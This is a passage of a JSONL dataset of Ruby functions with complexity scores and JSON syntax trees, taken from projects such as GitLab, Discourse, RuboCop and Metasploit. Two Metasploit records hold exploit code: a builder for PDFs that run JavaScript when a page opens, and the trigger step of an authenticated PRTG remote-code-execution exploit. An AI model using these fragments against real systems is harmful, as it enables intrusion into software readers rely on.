\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Providers\"]},\"DB\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"providers\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"relations\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"register_provider\",{\"type\":\"sym\",\"children\":[\"relations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Providers\"]},\"Relations\"]}]}]}]},null]}]},null]}]},null]}]}]}","id":"c7955159-61c9-450e-8074-17b2de2d6f6b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/pdf.rb","start_line":275,"raw_source":"def pdf_with_page_exploit(js,strFilter)\n    @xref = {}\n    @pdf = ''\n\n    @pdf << header\n    add_object(1, nobfu(\"<</Type/Catalog/Outlines \") << io_ref(2) << nobfu(\"/Pages \") << io_ref(3) << \">>\")\n    add_object(2, nobfu(\"<</Type/Outlines/Count 0>>\"))\n    add_object(3, nobfu(\"<</Type/Pages/Kids[\") << io_ref(4) << nobfu(\"]/Count 1>>\"))\n    add_object(4, nobfu(\"<</Type/Page/Parent \") << io_ref(3) << nobfu(\"/MediaBox[%s %s %s %s] \" % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(\" /AA << /O << /JS \") << io_ref(5) << nobfu(\"/S /JavaScript >>>>>>\"))\n    compressed = js\n    stream = \"<</Length %s/Filter[\" % compressed.length << strFilter << \"]>>\" << eol\n    stream << \"stream\" << eol\n    stream << compressed << eol\n    stream << \"endstream\" << eol\n    add_object(5, stream)\n\n    finish_pdf\n  end","complexity_score":90.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pdf_with_page_exploit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"js\"]},{\"type\":\"arg\",\"children\":[\"strFilter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@xref\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@pdf\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"header\"]}]},{\"type\":\"send\",\"children\":[null,\"add_object\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\"<</Type/Catalog/Outlines \"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"io_ref\",{\"type\":\"int\",\"children\":[2]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\"/Pages \"]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"io_ref\",{\"type\":\"int\",\"children\":[3]}]}]},\"<<\",{\"type\":\"str\",\"children\":[\">>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_object\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\"<</Type/Outlines/Count 0>>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_object\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\"<</Type/Pages/Kids[\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"io_ref\",{\"type\":\"int\",\"children\":[4]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\"]/Count 1>>\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_object\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\"<</Type/Page/Parent \"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"io_ref\",{\"type\":\"int\",\"children\":[3]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/MediaBox[%s %s %s %s] \"]},\"%\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[300]}]},{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[300]}]}]}]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\" /AA << /O << /JS \"]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"io_ref\",{\"type\":\"int\",\"children\":[5]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\"/S /JavaScript >>>>>>\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"compressed\",{\"type\":\"lvar\",\"children\":[\"js\"]}]},{\"type\":\"lvasgn\",\"children\":[\"stream\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<</Length %s/Filter[\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compressed\"]},\"length\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"strFilter\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"]>>\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"eol\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"<<\",{\"type\":\"str\",\"children\":[\"stream\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"eol\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"compressed\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"eol\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"<<\",{\"type\":\"str\",\"children\":[\"endstream\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"eol\"]}]},{\"type\":\"send\",\"children\":[null,\"add_object\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"lvar\",\"children\":[\"stream\"]}]},{\"type\":\"send\",\"children\":[null,\"finish_pdf\"]}]}]}","id":"e7ce8982-a883-4bae-a8aa-1addea06a9e0"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/arguments_forwarding.rb","start_line":552,"raw_source":"def missing_rest_arg_or_kwrest_arg?\n            (@rest_arg_name && !forwarded_rest_arg) ||\n              (@kwrest_arg_name && !forwarded_kwrest_arg)\n          end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"missing_rest_arg_or_kwrest_arg?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rest_arg_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"forwarded_rest_arg\"]},\"!\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@kwrest_arg_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"forwarded_kwrest_arg\"]},\"!\"]}]}]}]}]}","id":"84e8ee30-ead3-403d-8bb4-bf803984f4e8"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/admin_user_action_serializer.rb","start_line":58,"raw_source":"def title\n    topic&.title\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"title\"]}]}","id":"8eecfce3-c940-45e4-b933-c7ee5f903fab"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/spec/respond_with_spec.rb","start_line":7,"raw_source":"def respond_app(&block)\n    mock_app do\n      set :app_file, __FILE__\n      set :views, root + '/respond_with'\n      register Sinatra::RespondWith\n      class_eval(&block)\n    end\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_app\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mock_app\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set\",{\"type\":\"sym\",\"children\":[\"app_file\"]},{\"type\":\"str\",\"children\":[\"(method)\"]}]},{\"type\":\"send\",\"children\":[null,\"set\",{\"type\":\"sym\",\"children\":[\"views\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root\"]},\"+\",{\"type\":\"str\",\"children\":[\"/respond_with\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sinatra\"]},\"RespondWith\"]}]},{\"type\":\"send\",\"children\":[null,\"class_eval\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]}","id":"11d49b85-61b3-46c0-b45e-adfd37411e55"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250918203528_add_sharding_key_to_system_note_metadata.rb","start_line":6,"raw_source":"def change\n    # rubocop:disable Migration/PreventAddingColumns -- Sharding key is an exception\n    add_column :system_note_metadata, :namespace_id, :bigint\n    add_column :system_note_metadata, :organization_id, :bigint\n    # rubocop:enable Migration/PreventAddingColumns\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"system_note_metadata\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"system_note_metadata\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]}]}]}","id":"d27f6954-76f7-4bad-9c98-e722d2ae7cd3"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-topic-voting/db/migrate/20240711102255_ensure_consistency.rb","start_line":4,"raw_source":"def up\n    # un-archive votes to open topics\n    DB.exec(<<~SQL)\n      UPDATE topic_voting_votes\n      SET archive=false\n      FROM topics\n      WHERE topics.id = topic_voting_votes.topic_id\n      AND topic_voting_votes.archive IS TRUE\n      AND NOT topics.closed\n      AND NOT topics.archived\n      AND topics.deleted_at IS NULL\n    SQL\n\n    # delete duplicate votes\n    DB.exec(<<~SQL)\n      DELETE FROM topic_voting_votes dvv1\n      USING topic_voting_votes dvv2\n      WHERE dvv1.id < dvv2.id AND\n            dvv1.user_id = dvv2.user_id AND\n            dvv1.topic_id = dvv2.topic_id AND\n            dvv1.archive = dvv2.archive\n    SQL\n\n    # delete votes associated with no topics\n    DB.exec(<<~SQL)\n      DELETE FROM topic_voting_votes\n      WHERE topic_voting_votes.topic_id IS NULL\n    SQL\n\n    # delete duplicate vote counts for topics\n    DB.exec(<<~SQL)\n      DELETE FROM topic_voting_topic_vote_count dvtvc\n      USING topic_voting_topic_vote_count dvtvc2\n      WHERE dvtvc.id < dvtvc2.id AND\n            dvtvc.topic_id = dvtvc2.topic_id AND\n            dvtvc.votes_count = dvtvc2.votes_count\n    SQL\n\n    # insert missing vote counts for topics\n    # ensures we have \"something\" for every topic with votes\n    DB.exec(<<~SQL)\n      WITH missing_ids AS (\n        SELECT DISTINCT t.id FROM topics t\n        JOIN topic_voting_votes dvv ON t.id = dvv.topic_id\n        LEFT JOIN topic_voting_topic_vote_count dvtvc ON t.id = dvtvc.topic_id\n        WHERE dvtvc.topic_id IS NULL\n      )\n      INSERT INTO topic_voting_topic_vote_count (votes_count, topic_id, created_at, updated_at)\n      SELECT '0', id, now(), now() FROM missing_ids\n    SQL\n\n    # correct topics vote counts\n    DB.exec(<<~SQL)\n      UPDATE topic_voting_topic_vote_count dvtvc\n      SET votes_count = (\n        SELECT COUNT(*) FROM topic_voting_votes dvv\n        WHERE dvtvc.topic_id = dvv.topic_id\n        GROUP BY dvv.topic_id\n      )\n    SQL\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE topic_voting_votes\\n\"]},{\"type\":\"str\",\"children\":[\"SET archive=false\\n\"]},{\"type\":\"str\",\"children\":[\"FROM topics\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE topics.id = topic_voting_votes.topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"AND topic_voting_votes.archive IS TRUE\\n\"]},{\"type\":\"str\",\"children\":[\"AND NOT topics.closed\\n\"]},{\"type\":\"str\",\"children\":[\"AND NOT topics.archived\\n\"]},{\"type\":\"str\",\"children\":[\"AND topics.deleted_at IS NULL\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM topic_voting_votes dvv1\\n\"]},{\"type\":\"str\",\"children\":[\"USING topic_voting_votes dvv2\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE dvv1.id < dvv2.id AND\\n\"]},{\"type\":\"str\",\"children\":[\"      dvv1.user_id = dvv2.user_id AND\\n\"]},{\"type\":\"str\",\"children\":[\"      dvv1.topic_id = dvv2.topic_id AND\\n\"]},{\"type\":\"str\",\"children\":[\"      dvv1.archive = dvv2.archive\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM topic_voting_votes\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE topic_voting_votes.topic_id IS NULL\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM topic_voting_topic_vote_count dvtvc\\n\"]},{\"type\":\"str\",\"children\":[\"USING topic_voting_topic_vote_count dvtvc2\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE dvtvc.id < dvtvc2.id AND\\n\"]},{\"type\":\"str\",\"children\":[\"      dvtvc.topic_id = dvtvc2.topic_id AND\\n\"]},{\"type\":\"str\",\"children\":[\"      dvtvc.votes_count = dvtvc2.votes_count\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WITH missing_ids AS (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT DISTINCT t.id FROM topics t\\n\"]},{\"type\":\"str\",\"children\":[\"  JOIN topic_voting_votes dvv ON t.id = dvv.topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"  LEFT JOIN topic_voting_topic_vote_count dvtvc ON t.id = dvtvc.topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE dvtvc.topic_id IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"INSERT INTO topic_voting_topic_vote_count (votes_count, topic_id, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT '0', id, now(), now() FROM missing_ids\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE topic_voting_topic_vote_count dvtvc\\n\"]},{\"type\":\"str\",\"children\":[\"SET votes_count = (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT COUNT(*) FROM topic_voting_votes dvv\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE dvtvc.topic_id = dvv.topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"  GROUP BY dvv.topic_id\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]}]}]}","id":"93ca6245-5120-4efd-965d-7a21edd92f57"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/heredoc_argument_closing_parenthesis.rb","start_line":138,"raw_source":"def extract_heredoc(node)\n          return node if heredoc_node?(node)\n          return node.receiver if single_line_send_with_heredoc_receiver?(node)\n\n          return unless node.hash_type?\n\n          node.values.find do |v|\n            heredoc = extract_heredoc(v)\n            return heredoc if heredoc\n          end\n        end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_heredoc\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"heredoc_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"single_line_send_with_heredoc_receiver?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"hash_type?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"values\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"heredoc\",{\"type\":\"send\",\"children\":[null,\"extract_heredoc\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"heredoc\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"heredoc\"]}]},null]}]}]}]}]}","id":"a0b5e83f-ad38-40fa-a949-b638bb9d5c5e"}
{"repo_name":"forem","file_path":"./repos/forem/app/workers/metrics/record_daily_usage_worker.rb","start_line":57,"raw_source":"def get_days_active_past_week_counts\n      ids_by_day = []\n      7.times do |i|\n        id = PageView\n          .where(\"created_at > ? AND created_at < ?\", (i + 1).days.ago, i.days.ago)\n          .where.not(user_id: nil)\n          .pluck(:user_id).uniq\n        ids_by_day << id\n      end\n      flat_id_list = ids_by_day.flatten.uniq\n      non_new_user_ids = User.where(\"registered_at < ?\", 7.days.ago).where(id: flat_id_list).ids\n      new_user_ids = User.where(\"registered_at > ? AND registered_at < ?\", 8.days.ago,\n                                7.days.ago).where(id: flat_id_list).ids\n      record_active_days_of_group(ids_by_day, non_new_user_ids, \"established\")\n      record_active_days_of_group(ids_by_day, new_user_ids, \"new\")\n    end","complexity_score":52.3,"ast_json":"{\"type\":\"def\",\"children\":[\"get_days_active_past_week_counts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids_by_day\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[7]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PageView\"]},\"where\",{\"type\":\"str\",\"children\":[\"created_at > ? AND created_at < ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"days\"]},\"ago\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"days\"]},\"ago\"]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},\"uniq\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids_by_day\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"flat_id_list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids_by_day\"]},\"flatten\"]},\"uniq\"]}]},{\"type\":\"lvasgn\",\"children\":[\"non_new_user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"str\",\"children\":[\"registered_at < ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[7]},\"days\"]},\"ago\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"flat_id_list\"]}]}]}]},\"ids\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"str\",\"children\":[\"registered_at > ? AND registered_at < ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"days\"]},\"ago\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[7]},\"days\"]},\"ago\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"flat_id_list\"]}]}]}]},\"ids\"]}]},{\"type\":\"send\",\"children\":[null,\"record_active_days_of_group\",{\"type\":\"lvar\",\"children\":[\"ids_by_day\"]},{\"type\":\"lvar\",\"children\":[\"non_new_user_ids\"]},{\"type\":\"str\",\"children\":[\"established\"]}]},{\"type\":\"send\",\"children\":[null,\"record_active_days_of_group\",{\"type\":\"lvar\",\"children\":[\"ids_by_day\"]},{\"type\":\"lvar\",\"children\":[\"new_user_ids\"]},{\"type\":\"str\",\"children\":[\"new\"]}]}]}]}","id":"47ec844d-71ed-4124-a761-45c46f6c29b8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/database/partitioning/partition_manager_spec.rb","start_line":322,"raw_source":"def num_tables\n      connection.select_value(<<~SQL)\n        SELECT COUNT(*)\n        FROM pg_class\n        where relkind IN ('r', 'p')\n      SQL\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"num_tables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"select_value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT COUNT(*)\\n\"]},{\"type\":\"str\",\"children\":[\"FROM pg_class\\n\"]},{\"type\":\"str\",\"children\":[\"where relkind IN ('r', 'p')\\n\"]}]}]}]}","id":"599fe1f9-57f1-436c-96da-b88860f9c518"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/ci/runner/create.rb","start_line":30,"raw_source":"def ready?(**args)\n          case args[:runner_type]\n          when 'group_type'\n            raise Gitlab::Graphql::Errors::ArgumentError, '`group_id` is missing' unless args[:group_id].present?\n          when 'project_type'\n            raise Gitlab::Graphql::Errors::ArgumentError, '`project_id` is missing' unless args[:project_id].present?\n          end\n\n          parse_gid(**args)\n\n          super\n        end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ready?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"runner_type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"group_type\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_id\"]}]},\"present?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Errors\"]},\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"`group_id` is missing\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"project_type\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},\"present?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Errors\"]},\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"`project_id` is missing\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"parse_gid\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"da246c34-4b95-4113-aa9f-9dea826678e2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/prtg_authenticated_rce.rb","start_line":172,"raw_source":"def prtg_trigger_notification\n    uri = datastore['URI']\n\n    begin\n      res = send_request_cgi({\n        'method' => 'POST',\n        'uri' => normalize_uri(uri, 'api', 'notificationtest.htm'),\n        'cookie' => @cookies,\n        'headers' => {\n          'X-Requested-With' => 'XMLHttpRequest'\n        },\n        'vars_post' => {\n          'id' => @objid\n        }\n      })\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, 'Failed to reach remote host')\n    ensure\n      disconnect\n    end\n\n    if res && res.code == 200 && (res.to_s.include? 'EXE notification is queued up')\n      print_good('Triggered malicious notification')\n    else\n      fail_with(Failure::Unknown, 'Failed to trigger malicious notification')\n    end\n  